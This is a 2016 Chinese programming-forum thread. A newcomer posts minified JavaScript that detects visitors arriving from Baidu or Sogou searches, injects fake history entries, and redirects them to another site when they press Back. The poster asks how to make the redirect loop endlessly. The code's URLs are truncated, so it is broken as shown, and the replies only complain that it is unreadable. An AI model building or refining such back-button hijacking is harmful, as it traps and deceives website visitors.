注册 登录
编程论坛 JavaScript论坛

求助大神我是新人帮忙看看这个js跳转

新人Jts 发布于 2016-03-12 15:44, 3121 次点击
var ref=window.document.referrer;if(ref.indexOf('baidu.')==-1){var keyword='';if(ref.indexOf('baidu')!=-1){if(ref.indexOf('w=0_10_')!=-1){keyword=ref.split('w=0_10_')[1].split('/')[0]}if(ref.indexOf('word')!=-1){keyword=ref.split('word=')[1].split('&')[0]}if(keyword!=''){history.pushState('arr','','#s');history.pushState('arr','','#ss');window.onhashchange=function(){if(window.location.hash=='#s'){location.href="http://4g.}}}}if(ref.indexOf('sogou')!=-1){if(ref.indexOf('keyword')!=-1){keyword=ref.split('keyword=')[1].split('&')[0];history.pushState('arr','','#s');history.pushState('arr','','#ss');window.onhashchange=function(){if(window.location.hash=='#ss'){location.href="http://4g.}}}}}

我该怎么改才能让这个放在页面里一直循环跳转呢,现在是在百度搜到结果进入页面返回跳转到第二个页面,然后再返回跳转到第一个页面再返回的时候页面无变化再返回就退回到百度搜索页了,这个问题困扰我好几天了,如有好心人帮助不胜感激。
2 回复
#2
冰镇柠檬汁儿2016-03-14 22:34
实在是没看懂,麻烦你格式化一下代码,我用手机看的很吃力
#3
zzq39632016-03-22 10:00
这 代码   怎么看?
1